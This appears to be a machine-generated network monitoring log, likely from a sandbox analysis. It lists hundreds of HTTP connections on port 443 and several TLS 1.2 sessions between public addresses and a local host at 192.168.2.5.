Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095

Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49739 version: TLS 1.2
